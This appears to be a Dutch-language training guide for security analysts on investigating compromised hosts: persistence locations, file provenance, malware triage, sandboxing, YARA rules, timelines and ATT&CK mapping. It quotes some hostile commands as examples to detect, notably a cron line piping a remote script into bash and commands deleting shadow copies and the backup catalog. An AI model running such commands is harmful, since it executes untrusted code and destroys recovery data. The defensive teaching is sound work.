In een gebruikerscrontab downloadt en start */10 * * * * curl -s http://198.51.100.7/s.sh | bash elke 10 minuten een script. De velden zijn minuut, uur, dag van de maand, maand en dag van de week. Een nieuwe SSH-sleutel maakt een extra toegangsroute mogelijk, ook na een wachtwoordreset.

Vergelijk en verbind de bevindingen

Autoruns brengt veel automatische startlocaties van Windows samen in één overzicht. Het verbergen van vertrouwde uitgevers kan de lijst bij een eerste controle overzichtelijker maken, maar bekijk ondertekende vermeldingen opnieuw als ander bewijs daarnaar wijst. Vergelijk met een gezonde host uit hetzelfde image en het goedgekeurde referentieprofiel.

Een Run-waarde met de naam OneDriveUpdate verwijst bijvoorbeeld naar een niet-ondertekend bestand odu.exe in het roamingprofiel van een gebruiker. De aanmaaktijden van het bestand en de registerwaarde zijn 09.15 uur UTC, één minuut na verdachte macro-uitvoering. Diezelfde timing en het doelpad verbinden de automatische startvermelding met de inbraak. Onderzoek na deze vondst ook de andere locaties: een geplande taak of service kan dezelfde schadelijke inhoud herstellen.

Een gecompromitteerde host laat meer wijzigingen achter dan alleen in de procesboom. Zoek naar nieuwe bestanden en software, zwakkere beveiligingsinstellingen, ongebruikelijk gebruik van middelen en bestanden die voor overdracht zijn verzameld. Vergelijk die met de rol van de host en de volgorde van gebeurtenissen.

Lees bestandswijzigingen en herkomstgegevens

Programma's en scripts in C:\Users\Public, %TEMP%, %APPDATA% of /tmp verdienen aandacht als ze onverwacht zijn. Een dubbele extensie zoals invoice.pdf.exe verhult de werkelijke rol van het bestand. Massaal hernoemen, nieuwe extensies en losgeldberichten in veel mappen vormen een veel sterker ransomwarepatroon dan één onbekend bestand.

Bestandsdatums kunnen worden gemanipuleerd. Sysmon-gebeurtenis 2 registreert wijzigingen in de aanmaaktijd van een bestand, oftewel tijdstempelmanipulatie. Vergelijk de gebeurtenisgeschiedenis met de zichtbare datum voordat je concludeert dat een oud ogend bestand van vóór het incident dateert.

Windows voegt aan internetdownloads vaak de alternatieve gegevensstroom Zone.Identifier toe. Deze Mark of the Web kan de bron-URL bevatten, terwijl Sysmon-gebeurtenis 15 de aanmaak van de gegevensstroom kan registreren. Bewaar de gegevensstroom bij het verzamelen samen met het bestand; kopieer- of extractiemethoden kunnen die verwijderen, dus de afwezigheid ervan is op zichzelf zwak bewijs voor de herkomst.

Zoek naar verzwakte verdediging

Wijzigingen die onderzoek verdienen zijn onder meer uitgeschakelde realtime bescherming, nieuwe antivirusuitsluitingen, inkomende firewallregels, nieuw ingeschakelde RDP, nieuwe lokale administrators en verminderde auditinstellingen. Beveiligingsgebeurtenis 1102 registreert het wissen van het beveiligingsauditlogboek. Breng deze wijzigingen in verband met de verantwoordelijke gebruiker of het verantwoordelijke proces en met goedgekeurd onderhoud.

Opdrachten zoals vssadmin delete shadows /all /quiet verwijderen volumeschaduwkopieën en wbadmin delete catalog verwijdert de back-upcatalogus. Aanvallers gebruiken deze om herstel te bemoeilijken voordat ransomware versleutelt. Als ze verschijnen, moet je onmiddellijk volgens het draaiboek escaleren terwijl het team de proces- en bestandsactiviteit eromheen controleert.

Vergelijk software en gebruik van middelen

Ondertekende software voor ondersteuning op afstand kan nog steeds ongeautoriseerde toegang bieden. Vergelijk de EDR- of MDM-inventaris met de goedgekeurde lijst en uitrolregistraties. Onderzoek hulpmiddelen voor authenticatiegegevens, scanners of hulpmiddelen voor cloudoverdracht zoals rclone op een host waarvoor geen goedgekeurde noodzaak bestaat om ze te gebruiken.

Een miner kan het CPU- of GPU-gebruik tot bijna 100% opvoeren en contact maken met een miningpool, soms via een stratum+tcp://-adres. Hoog gebruik komt ook bij legitieme workloads voor, dus koppel de belasting aan een proces en bestemming. Een vollopende schijf, uitgeput geheugen en herhaaldelijk crashende services kunnen wijzen op gegevensverzameling of mislukte pogingen om een kwetsbaarheid te misbruiken.

Verbind de voorbereiding van gegevens met uitgaand verkeer

Bij verzameling en voorbereiding van gegevens voor overdracht wordt materiaal vóór exfiltratie bijeengebracht. Grote .7z- of .rar-archieven in een openbare of tijdelijke map, wachtwoordbeveiliging en even grote archiefdelen zijn nuttige aanwijzingen. Bepaal welk proces ze maakte, welke bestanden zijn verzameld en wanneer dat gebeurde.

Als een niet-goedgekeurd proces archiefdelen aanmaakt en daarna een grote upload verstuurt, verbindt die volgorde de voorbereiding met de overdracht. Flowgegevens meten het verkeer, maar kunnen de inhoud van het archief niet tonen. Gebruik bewijs over processen en bestandstoegang om te bepalen wat is verzameld; de grootte van het archief alleen kan niet vaststellen welke gegevens de organisatie hebben verlaten.

Reputatie voegt externe context toe aan lokaal bewijs. Daarmee kun je een bekend bestand identificeren, een recent geregistreerd domein ontdekken of recente misbruikmeldingen bekijken. De ouderdom van de opzoeking, de gevolgen voor privacy en het verband met deze host zijn even belangrijk als de score.

Identificeer het exacte bestand

Een cryptografische hash geeft bestandsinhoud een identificatie met een vaste lengte. MD5 gebruikt 32 hexadecimale tekens, SHA-1 gebruikt er 40 en SHA-256 64. Praktische botsingsaanvallen verzwakken MD5 en SHA-1, dus gebruik SHA-256 om bewijs te identificeren.

Get-FileHash .\file.exe -Algorithm SHA256
certutil -hashfile file.exe SHA256

Gebruik op Linux sha256sum file. Zelfs een wijziging van één byte verandert de hash sterk: de SHA-256-prefixen van “invoice” en “Invoice” zijn 52d6e3de4fa0dcc2 en b832002da297545f. Een aanvaller kan schadelijke inhoud opnieuw compileren of opvullen om een overeenkomst met een exacte hash te ontwijken. Gelijkenishashes zoals ssdeep vergelijken de overeenkomst; imphash groepeert PE-bestanden op basis van hun imports.

Interpreteer een reputatierapport

VirusTotal combineert meerdere engines, verbanden en analyserapporten. Een resultaat van 58/72 betekent dat ongeveer 81% het bestand markeerde; 3/72 betekent ongeveer 4%. Een laag aantal kan wijzen op vals alarm of een nieuwe dreiging. Lees naast de verhouding ook de detectienamen, eerste indiening, waargenomen bestandsnamen, handtekening en infrastructuur waarmee contact is gemaakt. Nul detecties laat de vraag naar het gedrag open.

Bij een hashopzoeking verstuur je de bestandsinhoud niet, maar maak je wel bekend in welke hash je geïnteresseerd bent. Als de dienst het bestand al heeft, kan de hash het identificeren. Een upload deelt het daadwerkelijke bestand en kan het beschikbaar maken voor abonnees of een aanvaller die inzendingen volgt. Controleer eerst de hash; bewaar vertrouwelijke inhoud in goedgekeurde privéanalysesystemen.

Een geldige handtekening vergroot het vertrouwen in de herkomst, maar gestolen certificaten en misbruik van ondertekende systeemhulpmiddelen blijven mogelijk. Controleer zowel de geldigheid van de handtekening als of de ondertekenaar past bij het opgegeven product. Beoordeel daarna het waargenomen gedrag van de opdracht of het bestand.

Lees de domein- en IP-context

Registratiegegevens kunnen een registrar en aanmaakdatum tonen, ook als eigenaarsgegevens zijn afgeschermd. RDAP is sinds de overgang in januari 2025 het gezaghebbende protocol voor registratiegegevens van generieke topleveldomeinen; hulpmiddelen kunnen hun overzicht nog steeds “WHOIS” noemen. Een domein dat twee dagen vóór een phishingcampagne is aangemaakt, is een nuttig waarschuwingssignaal. Passieve DNS voegt eerdere adreskoppelingen toe en certificaattransparantie voegt namen op uitgegeven certificaten toe.

AbuseIPDB bundelt meldingen van IP-misbruik. Controleer de datums en de gemelde dienst: een cloud-IP kan inmiddels aan een andere klant zijn toegewezen. GeoIP geeft een locatie van infrastructuur bij benadering, geen betrouwbare locatie van de persoon achter een VPN, Tor of een clouddienst. Door gedeelde hosting en CDN's kan brede IP-blokkering ook verstorend werken.

Geef de voorkeur aan bewijs dat veranderingen overleeft

De Pyramid of Pain rangschikt hashes, IP-adressen, domeinen, host- en netwerksporen, hulpmiddelen en technieken van aanvallers naar oplopende moeilijkheid om ze te wijzigen. Exacte hashes zijn eenvoudig te vervangen. Een detectie van Word dat een downloader start en persistentie instelt, kan bruikbaar blijven nadat de bestandshash en bestemming veranderen. Bewaar kortlevende indicatoren met een controle- of vervaldatum en leg het gedrag vast dat ze opleverde.

Statische analyse onderzoekt een bestand zonder het uit te voeren. Je kunt ermee bepalen wat het bestand werkelijk is, welke mogelijkheden het kan bevatten en waarop een sandbox moet letten. Houd aanwijzingen voor mogelijkheden gescheiden van gedrag dat daadwerkelijk is waargenomen.

Bepaal het type en de leesbare inhoud

Extensies zijn eenvoudig te wijzigen. Onderzoek de magische bytes met file, een hexviewer of de bewerking Detect File Type van CyberChef:

Een bijlage met de naam invoice.pdf die met MZ begint, doet zich voor als document. Bevestig de structuur, want een korte signatuur alleen is slechts een eerste controle van het type.

GNU strings -a file.exe extraheert ASCII-tekst uit het hele bestand. strings -a -e l file.exe extraheert UTF-16LE-tekst, die veel voorkomt in Windows-programma's. FLOSS en Sysinternals Strings kunnen helpen om beide te onderzoeken. Zoek naar domeinen, URL's, opdrachten, registerpaden, bestandsnamen en foutmeldingen. Geëxtraheerde tekst kan ongebruikt of misleidend zijn, dus bewaar de locatie ervan en toets die aan later gedrag.

Lees aanwijzingen in structuur en inpakken

Een uitvoerbaar PE-bestand heeft headers, secties zoals .text, .data en .rsrc, en een importtabel met functies die het aanvraagt. VirtualAllocEx, WriteProcessMemory en CreateRemoteThread wijzen samen op mogelijke code-injectie. URLDownloadToFile en InternetOpenUrl wijzen op een downloadmogelijkheid. Een compilatietijdstempel kan worden vervalst en moet met ander bewijs worden ondersteund.

Packers comprimeren of versleutelen code en pakken die uit in het geheugen. Weinig tekenreeksen, een korte importlijst, UPX0/UPX1-secties en hoge entropie wijzen op inpakken. Entropie nadert 8 bits per byte bij sterk willekeurig ogende gegevens, maar gecomprimeerde bronnen en gewone installatieprogramma's kunnen er vergelijkbaar uitzien. Inpakken verandert hoe je onderzoek doet; het bepaalt de conclusie niet.

Decodeer tekst en test een overeenkomst

CyberChef-recepten kunnen Base64, hexadecimale codering, XOR, decompressie en URL-decodering combineren. Pas bewerkingen toe in de volgorde die de inhoud vereist. Een reguliere expressie zoals \b(?:\d{1,3}\.){3}\d{1,3}\b extraheert IPv4-achtige tekst, maar komt ook overeen met 999.1.1.1, dus valideer de kandidaten.

Een YARA-regel kan onafhankelijke kenmerken combineren:

rule Suspicious_Downloader
{
    strings:
        $mz = { 4D 5A }
        $a = "DownloadString" ascii wide
        $b = "198.51.100.7"
    condition:
        $mz at 0 and $a and $b
}

Het bestand moet met MZ beginnen en beide tekenreeksen bevatten; ascii wide accepteert de downloadtekenreeks in beide representaties. Test de regel op bekende goede bestanden om toevallige overeenkomsten te meten. Een overeenkomst stelt vast dat aan de voorwaarden van de regel is voldaan; de analist beoordeelt wat dat betekent.

Extraheer bij documenten macro's met olevba. Verwijder bij scripts de codering of versluiering als tekst. Gebruik de resulterende functies, argumenten en indicatoren om de dynamische analyse in te stellen en te interpreteren.

Dynamische analyse voert een verdacht bestand uit in een gecontroleerde omgeving en registreert de acties ervan. Een sandbox kan gedrag aan het licht brengen dat door inpakken verborgen bleef, of de actieve inhoud van een document zichtbaar maken. Het rapport beschrijft die uitvoering onder die configuratie; controleer of het bestand had wat het nodig had om te handelen.

Richt een bruikbare uitvoering in

Gebruik een geïsoleerde omgeving met meetvoorzieningen, zoals Joe Sandbox, Cuckoo of een interactieve sandbox. Scheid die van de productieomgeving, beheers de netwerktoegang en zet de omgeving na elke uitvoering terug naar een schone momentopname. Netwerkdiensten kunnen worden gesimuleerd met INetSim of FakeNet, of via goedgekeurde analyse-infrastructuur worden geleid. Bewaar vertrouwelijke bestanden in privésystemen.

Stem het doelbesturingssysteem en de applicaties af op het bestand. Een document met een macro heeft de juiste Office-omgeving nodig; een archief mogelijk een wachtwoord; een programma kan argumenten, klikken, een bepaald ouderproces of een herstart vereisen. Leg die instellingen en de uitvoeringsduur vast zodat een andere analist het resultaat kan interpreteren.

Lees de acties achter de score

Onderzoek de procesboom, bestandswijzigingen, registerwijzigingen, DNS- en HTTP-activiteit, verbindingen, schermafbeeldingen en hashes van weggeschreven bestanden. Een rapport kan ook mutexen en ATT&CK-koppelingen tonen. Een mutex regelt exclusieve toegang tot een bron; malware gebruikt soms een kenmerkende mutexnaam om te voorkomen dat twee exemplaren draaien. Ook legitieme software gebruikt mutexen.

Bekijk een documentuitvoering die Word → verborgen gecodeerde PowerShell, een opzoeking van cdn-update.example.net, een HTTP GET voor /a.ps1, C:\Users\Public\upd.exe en een Run-vermelding die naar dat bestand verwijst oplevert. Verzamel het domein, IP-adres, de URL, de hash van het weggeschreven bestand, het pad en de Run-waarde. PowerShell ondersteunt een koppeling aan T1059.001 en de Run-vermelding aan T1547.001. Voor aflevering via een phishingbijlage is afzonderlijk e-mailbewijs nodig voor T1566.001.

Koppel de uitspraken in het rapport aan de geregistreerde gebeurtenissen. Een hoge totaalscore helpt bij het prioriteren van een bestand, maar de procesacties verklaren wat er gebeurde en welke indicatoren nuttig zijn in je omgeving.

Onderzoek een inactief bestand

Malware kan langer wachten dan de observatieperiode, virtuele hardware detecteren, geheugen of CPU-middelen onderzoeken, op klikken wachten of een bepaalde taal of locatie vereisen. Ook een mislukte download kan de uitvoering van de volgende fase verhinderen. Controleer afhankelijkheden en statische bevindingen opnieuw voordat je een inactieve uitvoering als geruststellend beschouwt.

Kies een herhaalde uitvoering die een concrete verklaring toetst: verleng de duur voor een vertraging, bied de vereiste applicatie of argumenten, voeg interactie toe of gebruik een ander besturingssysteemprofiel. Leg vast wat is veranderd. Als belangrijke onzekerheid blijft bestaan, draag het bestand dan over voor gespecialiseerd reverse engineering.

Breng de bevindingen terug naar de zaak

Doorzoek DNS-, proxy-, firewall- en EDR-registraties op de relevante domeinen, paden, hashes en gedragingen. Windows-updates, certificaatcontroles en verbindingstests van een sandbox zijn achtergrondactiviteit; onderscheid die van acties die door het bestand zijn veroorzaakt voordat je bestemmingen blokkeert.

Een sandbox kan zoekaanwijzingen voor andere hosts opleveren, maar de geïsoleerde uitvoering stelt niet vast welke productiehosts besmet waren. Koppel de aanwijzingen aan lokale gebeurtenissen en procesgeschiedenis en bewaar die registraties vervolgens samen met het rapport en de bestandshash.

Correlatie verbindt registraties tot een beschrijving van een incident die een andere analist kan controleren. E-mail kan aflevering aantonen, endpointtelemetrie kan uitvoering aantonen en netwerkbewijs kan communicatie aantonen. Een bruikbare tijdlijn onderscheidt die waarnemingen van de oorzakelijke verbanden die je nog toetst.

Normaliseer tijd en identiteit

Zet tijden om naar UTC en bewaar de oorspronkelijke tijdzone en eventuele bekende klokoffset. Een EDR-tijd van 11.14.31 uur bij UTC+2 is 09.14.31 uur UTC. Controleer of de console of export de oorspronkelijke UTC-tijdstempels van een sensor heeft omgezet. Door klokafwijking bij NTP kunnen bronnen zelfs na omzetting van de tijdzone minuten uiteenlopen.

Kies koppelvelden die op dat moment hetzelfde object identificeren: host, gebruiker, hash, URL, domein, Message-ID, Zeek-uid of proces-GUID. Een PID heeft een begintijd nodig omdat die opnieuw kan worden gebruikt. Een IP-adres heeft DHCP- of VPN-geschiedenis nodig omdat een latere lease het aan een andere host kan toewijzen. Bewaar bij elke tijdlijnvermelding de bijbehorende bronregistratie of queryverwijzing.

Bouw de keten van waargenomen gebeurtenissen op

Voor één zaak is het UTC-bewijs:

• 09.12.05 uur: een bericht met invoice.docm bereikt 40 mailboxen.
• 09.14.10 uur: de gebruiker op WS-0423 opent de bijlage.
• 09.14.31 uur: Word start gecodeerde PowerShell.
• 09.14.32–33 uur: DNS vertaalt de downloadhost en een HTTP GET vraagt /a.ps1 op.
• 09.15.02 uur: upd.exe wordt weggeschreven en een Run-waarde wordt aangemaakt.
• Vanaf 09.20.00 uur: verbindingen keren elke 300 seconden terug.
• De volgende nacht, 02.10–02.50 uur: 2,4 GB gaat naar hetzelfde IP-adres.

Het proces- en bestandsbewijs ondersteunt de verbanden met uitvoering en persistentie. De grote upload vereist nader onderzoek naar de herkomst: een gedeeld IP-adres met eerder verkeer is een zwakkere aanwijzing dan een gedeelde procesinstantie en een gedeeld applicatiekanaal.

Koppel alleen wat het bewijs ondersteunt

MITRE ATT&CK biedt standaardnamen voor gedrag. Het bericht ondersteunt spearphishingbijlage, T1566.001; PowerShell ondersteunt T1059.001; de Run-vermelding ondersteunt T1547.001. Voor koppeling van het periodieke verkeer aan C2 via webprotocollen, T1071.001, is HTTP- of HTTPS-bewijs nodig. Voor koppeling van de upload aan exfiltratie via dat C2-kanaal, T1041, is bewijs nodig dat hetzelfde proces en kanaal daarvoor zijn gebruikt.

ATT&CK is geen voorgeschreven volgorde. Verkenning, toegang tot authenticatiegegevens en laterale beweging zijn mogelijke vervolgonderzoeken, geen ontbrekende stappen die in de tijdlijn moeten worden ingevoegd.

Gebruik hiaten om de volgende query te kiezen

Als de upload groter is dan de eigen bestanden van de gebruiker, onderzoek dan of het proces gedeelde locaties las, gegevens genereerde, overdrachten herhaalde of samenviel met legitiem verkeer. Zoek waar beschikbaar de verzender en de overgedragen inhoud. Leg een onverklaarde gebeurtenis als onverklaard vast in plaats van die in de eerste theorie te dwingen.

Toets actief een alternatieve verklaring, zoals een goedgekeurde wijziging of back-up. Bevestigingsvooroordeel ontstaat wanneer een analist alleen feiten verzamelt die bij de eerste diagnose passen. Een tijdlijn wordt nuttiger wanneer elk onzeker verband vermeldt welk bewijs het zou versterken of verzwakken.

Een conclusie vermeldt wat het bewijs ondersteunt, hoe betrouwbaar je die acht en wat er vervolgens moet gebeuren. Het incidentdossier moet een andere analist in staat stellen het onderzoek te herhalen. Alleen het label van een ernstige beveiligingsmelding levert geen conclusie en geen verdedigbaar betrouwbaarheidsniveau op.

Classificeer de bevinding

Een terecht positief resultaat meldt kwaadaardige activiteit correct. Een foutpositief resultaat meldt activiteit buiten wat de detectie moest vinden. Een terecht positief resultaat bij onschadelijk gedrag detecteert correct werkelijk maar toegestaan gedrag, zoals een geplande penetratietest. Een foutnegatief resultaat is gemiste kwaadaardige activiteit. Gebruik “geen uitsluitsel” wanneer het bewijs nog geen beslissing mogelijk maakt en noem de ontbrekende gegevens.

Controleer of het gedrag past bij de host en gebruiker, of het was toegestaan, hoe vaak het voorkomt en of onafhankelijke bronnen overeenstemmen. Vermeld hoge, gemiddelde of lage betrouwbaarheid met specifieke redenen. Betrouwbaarheid beschrijft de sterkte van de bevinding; ernst beschrijft de impact en urgentie.

Een gecodeerde PowerShell-opdracht die tijdens een goedgekeurd venster op 3.000 hosts door een ondertekende distributieagent is gestart, decodeert tot een toegestane installatie. Dat is een terecht positief resultaat bij onschadelijk gedrag wanneer de regel gecodeerde PowerShell correct detecteert. Hetzelfde patroon dat door Word op één host wordt gestart, contact maakt met een twee dagen oud domein en persistentie aanmaakt, ondersteunt met hoge betrouwbaarheid de conclusie dat het kwaadaardig is.

Schrijf een overdracht waarmee het onderzoek te herhalen is

Leg een korte samenvatting, UTC-tijdlijn, getroffen hosts en accounts, onklikbaar gemaakte indicatoren, ondersteunde ATT&CK-technieken, conclusie en betrouwbaarheid vast. Neem query's, meldings-ID's, bewijs­locaties en bestandshashes op zodat een andere analist dezelfde registraties kan vinden. Vermeld al genomen acties en de aanbevolen vervolgstappen.

Leg uit waarom een beveiligingsmelding wordt afgesloten. Als een detectie herhaaldelijk afgaat op activiteit buiten het bedoelde bereik, geef de detectieontwikkelaars dan voorbeelden en context om de regel af te stemmen. Afsluiten zonder uitleg verbergt zowel gemiste aanvallen als terugkerend verspild werk.

Deel indicatoren met context

Koppel een verval- of controledatum aan domein- en IP-indicatoren omdat eigendom en gebruik veranderen. Vermijd ongerichte blokkering van gedeelde infrastructuur zoals CDN's. Exacte hashes identificeren één bestandsversie, terwijl gedragsgebaseerde detecties varianten kunnen opvangen. Bewaar bij het delen het verband tussen een indicator, het waargenomen gedrag en de betrouwbaarheid.

Stel bewijs veilig en escaleer

Escaleer een bevestigde kwaadaardige bevinding volgens het incidentresponsdraaiboek, met een ernst op basis van getroffen IT-middelen en impact. Bewaar oorspronkelijke berichten, opnamen, endpointexports en verzamelde bestanden. Leg de SHA-256-hash van elk bestand vast en wie het wanneer verzamelde of overdroeg. Deze registraties van de bewijsketen documenteren de omgang met het bewijs; de hash biedt een integriteitscontrole.

Isolatie via EDR heeft meestal de voorkeur boven uitschakelen, omdat die communicatie beperkt terwijl het geheugen en een beheerroute behouden blijven. Processen beëindigen en opnieuw opstarten veranderen ook vluchtig bewijs. Volg de indammingsprioriteiten van het draaiboek, verzamel wat de zaak nodig heeft en leg de timing van elke responsactie vast zodat latere analisten activiteit van de aanvaller kunnen onderscheiden van de respons.